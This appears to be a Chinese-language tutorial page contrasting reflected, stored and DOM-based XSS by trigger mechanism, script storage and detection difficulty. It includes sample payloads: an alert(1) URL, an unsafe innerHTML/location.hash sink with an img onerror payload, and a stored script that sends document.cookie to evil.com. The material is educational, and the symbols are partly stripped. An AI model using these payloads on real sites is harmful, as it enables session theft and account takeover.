反射型XSS诱骗执行,存储型持久传播,DOM型前端渲染触发

📅 2026/7/2 21:21:44
反射型XSS诱骗执行,存储型持久传播,DOM型前端渲染触发
XSS攻击的三种类型在触发机制上的核心区别在于恶意脚本的来源、存储位置以及触发执行的方式。具体差异如下表所示类型触发机制核心区别恶意脚本来源与存储触发执行方式典型攻击流程反射型 XSS恶意脚本作为请求参数如URL发送给服务器服务器**未经处理直接“反射”**到响应中在受害者浏览器执行。来源于攻击者构造的一次性请求通常不存储在服务器上。需要诱导用户主动点击一个包含恶意脚本的链接。1. 攻击者构造恶意URL如https://example.com/search?qscriptalert(1)/script。2. 诱导用户点击该链接。3. 服务器将q参数值直接插入响应HTML并返回。4. 用户浏览器解析响应执行其中的恶意脚本。存储型 XSS恶意脚本被提交并永久存储在服务器端如数据库、文件、评论内容当其他用户访问包含该数据的页面时脚本被取出并执行。来源于攻击者提交的表单数据并持久化存储在服务器中。任何访问了存储有恶意脚本页面的用户都会自动触发执行无需再次交互。1. 攻击者在可存储用户输入的地方如论坛评论、用户资料提交恶意脚本如scriptnew Image().srchttp://evil.com/steal?cdocument.cookie/script。2. 服务器将该脚本存入数据库。3. 当其他用户浏览该评论页面时服务器从数据库取出评论并返回给浏览器。4. 用户浏览器解析页面执行恶意脚本。DOM 型 XSS漏洞完全发生在客户端。攻击载荷通过修改页面的DOM文档对象模型环境来触发脚本执行服务器返回的原始HTML可能并未包含恶意代码。来源于客户端JavaScript处理的不安全数据如URL片段#之后的部分、document.referrer等这些数据不发送到服务器或服务器不处理。用户访问一个特定的恶意构造的URL或页面上的客户端JS代码不安全地处理了某些输入数据。1. 页面中存在不安全的DOM操作代码例如document.getElementById(content).innerHTML location.hash.substring(1);。2. 攻击者构造URLhttp://example.com/page#img srcx onerroralert(1)。3. 用户访问该URL浏览器本地JS将location.hash的内容img ...通过innerHTML写入DOM。4.浏览器解析新插入的HTMLimg标签的onerror事件被触发执行恶意JS。关键机制差异总结数据流与存储反射型和DOM型的恶意脚本通常不存储在服务器DOM型甚至不经过服务器而存储型则持久化在服务器。触发条件反射型需要用户点击特定链接存储型是访问被“污染”的页面即触发DOM型则是访问特定构造的URL或页面执行了不安全的客户端逻辑。检测难度由于DOM型XSS的恶意载荷可能仅存在于URL片段#之后且不发送到服务器传统的服务端日志和WAFWeb应用防火墙可能无法检测到。参考来源【安全】XSS 之攻击与防御XSS攻击类型反射型、存储型与DOM型解析反射型XSS、存储型XSS和DOM型XSS的简介及XSS常见payload构造及变形DVWA靶场XSS漏洞全解析从DOM型、反射型到存储型WEB 攻防-通用漏-XSS 跨站脚本攻击-反射型/存储型/DOMBEEF-XSSXSS注入(1)-两个简单测试理解反射型xss注入和存储型xss注入